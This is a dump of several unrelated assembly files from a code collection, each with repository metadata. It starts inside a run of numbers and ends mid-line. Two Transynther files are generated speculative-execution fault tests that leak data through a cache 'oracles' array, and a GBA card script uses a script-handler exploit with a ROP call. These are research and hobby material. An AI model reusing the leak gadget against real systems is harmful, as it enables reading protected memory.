58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 */
31.57384
2,999
0.655753
9363c59975628fde25672a6591ac8af0454a956f
2,639
asm
Assembly
arm/flags.asm
jsmolka/gba-suite
a6447c5404c8fc2898ddc51f438271f832083b7e
[ "MIT" ]
31
2020-01-18T21:48:54.000Z
2021-01-08T11:17:56.000Z
arm/flags.asm
jsmolka/gba-suite
a6447c5404c8fc2898ddc51f438271f832083b7e
[ "MIT" ]
8
2020-01-19T07:37:23.000Z
2020-11-10T17:09:24.000Z
arm/flags.asm
jsmolka/gba-tests
a6447c5404c8fc2898ddc51f438271f832083b7e
[ "MIT" ]
6
2021-05-28T09:35:20.000Z
2021-12-22T18:09:32.000Z
flags: ; Tests for flags t100: ; Zero flag movs r0, 0 bne f100 movs r0, 1 beq f100 b t101 f100: m_exit 100 t101: ; Negative flag movs r0, 1 shl 31 bpl f101 movs r0, 0 bmi f101 b t102 f101: m_exit 101 t102: ; Carry flag addition mvn r0, 0 adds r0, 1 bcc f102 mov r0, 0 adds r0, 1 bcs f102 b t103 f102: m_exit 102 t103: ; Carry flag addition with carry mvn r0, 0 sub r0, 1 msr cpsr_f, FLAG_C adcs r0, 1 bcc f103 mov r0, 0 msr cpsr_f, FLAG_C adcs r0, 1 bcs f103 b t104 f103: m_exit 103 t104: ; Carry flag subtraction mov r0, 1 subs r0, 0 bcc f104 mov r0, 1 subs r0, 1 bcc f104 mov r0, 1 subs r0, 2 bcs f104 b t105 f104: m_exit 104 t105: ; Carry flag subtraction with carry mov r0, 2 msr cpsr_f, 0 sbcs r0, 0 bcc f105 mov r0, 2 msr cpsr_f, 0 sbcs r0, 1 bcc f105 mov r0, 2 msr cpsr_f, 0 sbcs r0, 2 bcs f105 b t106 f105: m_exit 105 t106: ; Overflow flag addition m_word r0, 0x7FFFFFFF adds r0, 1 bvc f106 mov r0, 0 adds r0, 1 bvs f106 b t107 f106: m_exit 106 t107: ; Overflow flag addition with carry m_word r0, 0x7FFFFFFE msr cpsr_f, FLAG_C adcs r0, 1 bvc f107 mov r0, 0 msr cpsr_f, FLAG_C adcs r0, 1 bvs f107 b t108 f107: m_exit 107 t108: ; Overflow flag subtraction mov r0, 1 shl 31 subs r0, 1 bvc f108 mov r0, 1 subs r0, 1 bvs f108 b t109 f108: m_exit 108 t109: ; Overflow flag subtraction with carry m_word r0, 0x80000001 msr cpsr_f, 0 sbcs r0, 1 bvc f109 mov r0, 2 msr cpsr_f, 0 sbcs r0, 1 bvs f109 b flags_passed f109: m_exit 109 flags_passed:
15.615385
46
0.398636
fd28661c61b2e4d518587fed56324277538fd1a1
6,089
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_13.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_13.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0x48_notsx.log_21829_13.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r14 push %r15 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0xefc9, %r15 nop nop nop sub %r14, %r14 mov (%r15), %esi nop nop nop nop nop cmp %rbx, %rbx lea addresses_D_ht+0x1b259, %rsi lea addresses_normal_ht+0x5ea1, %rdi nop nop nop nop nop add %r9, %r9 mov $58, %rcx rep movsb nop nop sub %rbx, %rbx lea addresses_normal_ht+0x1bd65, %rcx nop nop nop nop xor $33891, %r14 movb $0x61, (%rcx) nop nop nop xor %r9, %r9 lea addresses_D_ht+0xf345, %r9 nop nop nop nop nop and %rcx, %rcx movw $0x6162, (%r9) add %rsi, %rsi lea addresses_UC_ht+0x19d13, %rcx nop dec %rdi movb (%rcx), %r14b nop nop nop nop sub $935, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r15 pop %r14 ret .global s_faulty_load s_faulty_load: push %r11 push %r13 push %r15 push %r9 push %rbp push %rbx push %rsi // Store lea addresses_RW+0x11bc9, %r15 nop nop nop nop and %r9, %r9 mov $0x5152535455565758, %rbp movq %rbp, %xmm0 vmovups %ymm0, (%r15) nop nop nop nop nop cmp $57911, %r13 // Load lea addresses_normal+0x1b659, %r9 cmp %rsi, %rsi mov (%r9), %rbp and $50377, %rsi // Load lea addresses_US+0x4259, %r9 clflush (%r9) nop sub %rsi, %rsi mov (%r9), %r13d nop nop nop nop nop cmp %r15, %r15 // Store lea addresses_A+0x45b9, %r9 clflush (%r9) nop nop nop nop nop sub %rbx, %rbx mov $0x5152535455565758, %rbp movq %rbp, (%r9) xor $4768, %r13 // Faulty Load lea addresses_WT+0x1259, %r11 sub $40210, %rbp mov (%r11), %bx lea oracles, %r9 and $0xff, %rbx shlq $12, %rbx mov (%r9,%rbx,1), %rbx pop %rsi pop %rbx pop %rbp pop %r9 pop %r15 pop %r13 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT', 'congruent': 0}} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 32, 'type': 'addresses_RW', 'congruent': 3}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': True, 'size': 8, 'type': 'addresses_normal', 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_US', 'congruent': 11}} {'dst': {'same': False, 'NT': True, 'AVXalign': False, 'size': 8, 'type': 'addresses_A', 'congruent': 4}, 'OP': 'STOR'} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_WT', 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'NT': False, 'AVXalign': False, 'size': 4, 'type': 'addresses_WT_ht', 'congruent': 4}} {'dst': {'same': False, 'congruent': 2, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'src': {'same': False, 'congruent': 11, 'type': 'addresses_D_ht'}} {'dst': {'same': False, 'NT': False, 'AVXalign': True, 'size': 1, 'type': 'addresses_normal_ht', 'congruent': 2}, 'OP': 'STOR'} {'dst': {'same': False, 'NT': False, 'AVXalign': False, 'size': 2, 'type': 'addresses_D_ht', 'congruent': 2}, 'OP': 'STOR'} {'OP': 'LOAD', 'src': {'same': False, 'NT': True, 'AVXalign': False, 'size': 1, 'type': 'addresses_UC_ht', 'congruent': 1}} {'39': 21829} 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 39 */
36.244048
2,999
0.653473
2a39b0f3f7a9146934a7901621025bf1282405a4
1,346
asm
Assembly
kaizou.asm
Prof9/Aio-Kaizou
aea73d0070af523f038367e906449c3d3bae337d
[ "Unlicense" ]
5
2017-12-08T04:02:40.000Z
2021-12-27T02:14:47.000Z
kaizou.asm
Prof9/Aio-Kaizou
aea73d0070af523f038367e906449c3d3bae337d
[ "Unlicense" ]
1
2021-07-11T04:22:53.000Z
2021-07-11T14:26:34.000Z
kaizou.asm
Prof9/Aio-Kaizou
aea73d0070af523f038367e906449c3d3bae337d
[ "Unlicense" ]
1
2018-07-11T03:09:45.000Z
2018-07-11T03:09:45.000Z
CARD_NO equ 0 REGION equ 1 REVISION equ 0 .gba .create "card.msg",0x0 .area 0x5C @@header: .dh @@scr0 - @@header @@scr0: // Print current number .db 0xF1 .db 0xF0,0x00,0x00 .db 0xF9,0x03,0xC3,0x01 // Script handler exploit .db 0xF8,0x01,0x00,0xE0 .db 0xF8,0x01,0x01,0x1C .db 0xF8,0x01,0x02,0x00 .db 0xF8,0x01,0x03,0x47 .db 0xFF,0x35 .align 2 @@asm: // Set up a ROP call to ED FF ldr r0,[r2,20h] add r0,54h push r0,r14 // r14 = return after ED FF // r0 = call ED FF // Get current card num mov r2,r10 ldr r2,[r2,70h] ldrb r0,[r2,CARD_NO] cmp r0,0FFh bne @@checkSelect add r2,7h ldrb r0,[r2,CARD_NO] @@checkSelect: // Check Select pressed ldrh r1,[r5,24h] lsr r1,r1,3h bcc @@check000 // Increment card num add r0,1h cmp r0,85h ble @@store sub r0,85h @@store: strb r0,[r2,CARD_NO] @@check000: cmp r0,85h bne @@update mov r0,0h @@update: ldr r1,[r5,4Ch] str r0,[r5,4Ch] cmp r0,r1 beq @@end sub r4,18h str r4,[r5,34h] @@end: // call sub_6510 then ED FF via ROP push r1-r7 .if REGION == 0 && REVISION == 0 // Japan v1.0 ldr r1,=80064EDh+2h .endif .if REGION == 0 && REVISION == 1 // Japan v1.1 ldr r1,=80064F1h+2h .endif .if REGION == 1 // North America ldr r1,=8006511h+2h .endif .if REGION == 2 // Europe ldr r1,=8006509h+2h .endif bx r1 .pool .notice 0x5C-. .endarea .close
13.876289
36
0.645617
42b41bb8b56f8416a54a31ec6b42ab0ae7011034
619
asm
Assembly
oeis/288/A288989.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/288/A288989.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/288/A288989.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A288989: Denominators of coefficients in expansion of E_14/E_12. ; Submitted by Jamie Morken(m3a) ; 1,691,477481,329939371,227988105361,157539780804451,108859988535875641,75222252078290067931,51978576186098436940321,35917196144594019925761811,24818782535914467768701411401,17149778732316897228172675278091,11850497104030975984667318617160881,8188693498885404405405117164458168771,5658387207729814444134935960640594620761,3909945560541301780897240748802650882945851,2701772382334039530599993357422631760115583041,1866924716192821315644595409979038546239867881331 mov $1,1 lpb $0 sub $0,1 mul $1,691 lpe mov $0,$1
56.272727
463
0.891761
42ec8fbcbb9c3254a0802e3a02174c2a42a951bc
487
asm
Assembly
programs/oeis/105/A105564.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/105/A105564.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/105/A105564.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A105564: Number of blocks of exactly 4 Fibonacci numbers having equal length <= n. ; 0,0,0,1,1,1,1,2,2,2,2,2,3,3,3,3,3,4,4,4,4,5,5,5,5,5,6,6,6,6,6,7,7,7,7,8,8,8,8,8,9,9,9,9,10,10,10,10,10,11,11,11,11,11,12,12,12,12,13,13,13,13,13,14,14,14,14,14,15,15,15,15,16,16,16,16,16,17,17,17,17,17,18,18 add $0,2523 mov $3,2 lpb $0 sub $0,1 mov $2,$0 mov $0,2 add $2,1 mul $3,2 add $3,1 mul $3,$2 mul $3,4 mov $4,$3 sub $4,4 div $4,93 add $4,2 mov $1,$4 lpe sub $1,544
22.136364
209
0.579055
7deb9fd67d7e3f300d8b5b2d060ba6bba30db492
359
asm
Assembly
programs/oeis/330/A330926.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/330/A330926.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/330/A330926.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A330926: a(n) = Sum_{k=1..n} (ceiling(n/k) mod 2). ; 1,1,2,1,3,2,3,2,5,3,4,3,6,5,6,3,7,6,7,6,9,6,7,6,11,9,10,7,10,9,10,9,14,11,12,9,13,12,13,10,15,14,15,14,17,12,13,12,19,17,18,15,18,17,18,15,20,17,18,17,22,21,22,17,23,20,21,20,23,20,21,20,27,26,27,22,25,22,23,22 seq $0,75997 ; a(n) = [n/2]-[n/3]+[n/4]-[n/5]+[n/6]-..., where [n/k] = floor(n/k). add $0,1
59.833333
212
0.557103
f0f9875070be46c884f96d81606b413403cc04ff
1,307
asm
Assembly
programs/oeis/296/A296063.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/296/A296063.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/296/A296063.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A296063: a(n) is the smallest number (in absolute value) not yet in the sequence such that the arithmetic mean of the first n terms a(1), a(2), ..., a(n) is an integer. Preference is given to positive values of a(n); a(1)=1; 0 not allowed. ; 1,-1,3,-3,5,-5,7,-7,9,-9,11,-11,13,-13,15,-15,17,-17,19,-19,21,-21,23,-23,25,-25,27,-27,29,-29,31,-31,33,-33,35,-35,37,-37,39,-39,41,-41,43,-43,45,-45,47,-47,49,-49,51,-51,53,-53,55,-55,57,-57,59,-59,61,-61,63,-63,65,-65,67,-67,69,-69,71,-71,73,-73,75,-75,77,-77,79,-79,81,-81,83,-83,85,-85,87,-87,89,-89,91,-91,93,-93,95,-95,97,-97,99,-99,101,-101,103,-103,105,-105,107,-107,109,-109,111,-111,113,-113,115,-115,117,-117,119,-119,121,-121,123,-123,125,-125,127,-127,129,-129,131,-131,133,-133,135,-135,137,-137,139,-139,141,-141,143,-143,145,-145,147,-147,149,-149,151,-151,153,-153,155,-155,157,-157,159,-159,161,-161,163,-163,165,-165,167,-167,169,-169,171,-171,173,-173,175,-175,177,-177,179,-179,181,-181,183,-183,185,-185,187,-187,189,-189,191,-191,193,-193,195,-195,197,-197,199,-199,201,-201,203,-203,205,-205,207,-207,209,-209,211,-211,213,-213,215,-215,217,-217,219,-219,221,-221,223,-223,225,-225,227,-227,229,-229,231,-231,233,-233,235,-235,237,-237,239,-239,241,-241,243,-243,245,-245,247,-247,249,-249 mov $1,-2 bin $1,$0 div $1,2 mul $1,2 add $1,1
145.222222
1,016
0.639633
c858c12a01e543d810c28acd475a02d7305d36c0
9,515
asm
Assembly
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1422.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1422.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_1422.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r13 push %r14 push %r15 push %r8 push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x1eb0e, %r13 nop dec %rsi movl $0x61626364, (%r13) nop add $55495, %r13 lea addresses_A_ht+0xe115, %rsi nop nop nop nop and %r15, %r15 mov $0x6162636465666768, %rdx movq %rdx, (%rsi) sub $43350, %r13 lea addresses_normal_ht+0xc715, %r14 nop nop nop nop and %r8, %r8 vmovups (%r14), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %r13 nop nop and $65039, %rdx lea addresses_A_ht+0x16495, %rsi lea addresses_WC_ht+0x181db, %rdi inc %r15 mov $91, %rcx rep movsw nop nop nop nop cmp %r8, %r8 lea addresses_A_ht+0xfd15, %rsi lea addresses_D_ht+0x19715, %rdi nop nop nop cmp $40323, %r13 mov $40, %rcx rep movsw nop nop nop nop dec %rcx lea addresses_UC_ht+0x17664, %rsi inc %rcx movb (%rsi), %r8b nop nop nop nop add $55944, %r14 lea addresses_UC_ht+0xfd75, %rcx nop nop nop nop add %r14, %r14 movb (%rcx), %dl nop nop nop nop nop and %rbx, %rbx lea addresses_WC_ht+0x9115, %r13 nop nop nop nop cmp %rdi, %rdi mov (%r13), %r8d nop nop nop sub %rdi, %rdi lea addresses_D_ht+0x3c65, %rsi nop nop nop add %rdi, %rdi mov (%rsi), %r8 nop nop and $8561, %rbx lea addresses_WC_ht+0x18df5, %r14 clflush (%r14) nop cmp %rdx, %rdx movups (%r14), %xmm0 vpextrq $0, %xmm0, %rcx nop nop and $4211, %rcx lea addresses_normal_ht+0x9655, %rcx nop nop nop inc %rsi vmovups (%rcx), %ymm3 vextracti128 $1, %ymm3, %xmm3 vpextrq $1, %xmm3, %r13 nop nop add %rdx, %rdx lea addresses_A_ht+0x199bd, %r15 nop nop nop xor $51630, %rsi mov (%r15), %ecx nop nop nop cmp $28805, %rcx lea addresses_WT_ht+0x11825, %r15 nop nop nop nop nop sub $21201, %rdx mov $0x6162636465666768, %rsi movq %rsi, %xmm5 and $0xffffffffffffffc0, %r15 vmovaps %ymm5, (%r15) nop add $53874, %r8 lea addresses_A_ht+0xb783, %r14 nop nop nop nop xor $18009, %r13 mov (%r14), %edi nop dec %r13 lea addresses_D_ht+0x9735, %rsi lea addresses_WT_ht+0x1db15, %rdi nop nop nop nop nop sub $52763, %rdx mov $116, %rcx rep movsl nop nop nop and $64438, %rsi pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r14 pop %r13 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r8 push %r9 push %rax push %rbp push %rcx push %rdi push %rdx push %rsi // Store lea addresses_UC+0x8c0c, %rax xor $18419, %r9 movb $0x51, (%rax) nop nop nop add $23952, %r8 // Store lea addresses_WC+0xd1d5, %rbp nop and $33525, %rdx mov $0x5152535455565758, %rax movq %rax, (%rbp) nop inc %r14 // Store lea addresses_WT+0x9715, %r8 dec %rdx movw $0x5152, (%r8) nop nop and $24292, %r14 // Store lea addresses_A+0x7535, %rdx nop nop nop nop nop cmp $12602, %r8 movb $0x51, (%rdx) nop nop and %rax, %rax // REPMOV lea addresses_US+0xdf4d, %rsi lea addresses_RW+0x1ed15, %rdi nop nop nop xor $52632, %rdx mov $91, %rcx rep movsb nop nop nop nop nop cmp %rcx, %rcx // Load mov $0xfd5, %r9 nop nop cmp %rdx, %rdx mov (%r9), %rax nop xor %rdx, %rdx // Load lea addresses_UC+0x1fc45, %rbp nop nop nop sub %r15, %r15 movb (%rbp), %cl cmp %rdx, %rdx // Faulty Load lea addresses_D+0x1df15, %rsi nop nop nop nop add $4259, %rcx vmovups (%rsi), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $0, %xmm5, %r8 lea oracles, %rdx and $0xff, %r8 shlq $12, %r8 mov (%rdx,%r8,1), %r8 pop %rsi pop %rdx pop %rdi pop %rcx pop %rbp pop %rax pop %r9 pop %r8 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WC', 'same': False, 'size': 8, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_US', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_RW', 'congruent': 9, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_P', 'same': False, 'size': 8, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC', 'same': False, 'size': 1, 'congruent': 1, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} [Faulty Load] {'src': {'type': 'addresses_D', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'} {'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_A_ht', 'congruent': 6, 'same': True}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_A_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'} {'src': {'type': 'addresses_UC_ht', 'same': True, 'size': 1, 'congruent': 0, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 